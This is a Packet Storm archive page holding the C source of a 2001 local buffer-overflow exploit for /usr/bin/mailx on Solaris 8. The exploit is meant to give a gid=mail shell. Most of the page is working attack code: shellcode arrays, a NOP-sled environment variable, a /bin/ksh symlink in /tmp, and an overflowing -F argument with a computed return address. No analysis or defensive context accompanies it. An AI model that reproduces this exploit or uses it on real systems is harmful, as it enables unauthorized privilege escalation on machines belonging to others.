what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sol8_mailx.c

sol8_mailx.c
Posted May 8, 2001
Authored by Nemes||y

/usr/bin/mailx local buffer overflow exploit. Gives gid=mail shell. Tested against Solaris 8.

tags | exploit, overflow, shell, local
systems | solaris
SHA-256 | 8270d776c54245c8f9730bdf87c4de6ee29ce8e325d9e3fb78e6f9951ae96cbc

sol8_mailx.c

Change Mirror Download
/* /usr/bin/mailx overflow
I've tested it on Solaris 8
by Nemes||y -dkl- dragon@shellnow.it
*/

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

#define LEN 1150
#define offset 2075

/*-------------------------------------------------------------
char shellcode[] =
"\xa0\x23\xa0\x10\xee\x23\xbf\xec\x82\x05\xe0\xd6\x90\x25\xe0\x0e\x92\x25\xe0\x0e\x94\x1c\x40\x11"
"\x96\x1c\x40\x11\x98\x25\xe0\x0f\x91\xd0\x38\x08\xa4\x1a\x80\x08\xd2\x33\xbf\xf0\xac\x10\x27\xd1"
"\xec\x33\xbf\xf2\xc0\x23\xbf\xf4\x82\x05\xe0\xd8\x90\x1a\xc0\x12\x92\x1a\xc0\x10\x94\x1a\xc0\x17"
"\x91\xd0\x38\x08\x82\x05\xe0\xd9\x90\x1a\xc0\x12\x92\x25\xe0\x0b\x91\xd0\x38\x08\x82\x05\xe0\xda"
"\x90\x1a\xc0\x12\x92\x1a\xc0\x10\x94\x23\xa0\x14\x91\xd0\x38\x08\xa6\x1a\xc0\x08\x82\x05\xe0\x2e"
"\x90\x1a\xc0\x13\x92\x25\xe0\x07\x94\x1b\x80\x0e\x91\xd0\x38\x08\x90\x1a\xc0\x13\x92\x25\xe0\x07"
"\x94\x02\xe0\x01\x91\xd0\x38\x08\x90\x1a\xc0\x13\x92\x25\xe0\x07\x94\x02\xe0\x02\x91\xd0\x38\x08"
"\x90\x1b\x80\x0e\x82\x02\xe0\x17\x91\xd0\x38\x08\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda"
"\x90\x23\xa0\x10\x92\x23\xa0\x08\x94\x1b\x80\x0e\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x02\xe0\x3b\x91\xd0\x38\x08\x90\x1b\x80\x0e\x82\x02\xe0\x01\x91\xd0\x38\x08";

to get stackpointer...

{ __asm__("mov %sp,%i0 \n");}

---------------------------------------------------------------*/

/*-------------------------------------------------------------*/
char shellcode[]=
"\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
"\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
"\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
"\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
"\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
"\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
"\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
"\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
"\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
"\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";

unsigned long stackpointer(void)
{
__asm__("movl %esp, %eax");
}
/*-------------------------------------------------------------*/
int main()
{

long esp = stackpointer();
unsigned char buf[LEN];
char *envi;
unsigned long magic = esp + offset;
printf("\nSolaris Mailx Exploit - coded by Nemes||y -dkl-\n\n");
printf(":: Stack Pointer -> 0x%x\n", esp);
printf(":: Offset -> 0x%x\n", offset);
printf(":: Return addr -> 0x%x\n\n", magic);
envi = (char *)malloc(300*sizeof(char));
memset(envi,0x90,300);
memcpy(envi+280-strlen(shellcode),shellcode,strlen(shellcode));
memcpy(envi,"SOR=",4);
envi[299]=0; putenv(envi);
symlink("/bin/ksh","/tmp/xx");
memset(buf,0x41,1150); memcpy(buf+1116,&magic,4);
buf[1149]=0;
execl("/usr/bin/mailx","mailx","-F",buf,NULL);
}
/* EoF */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close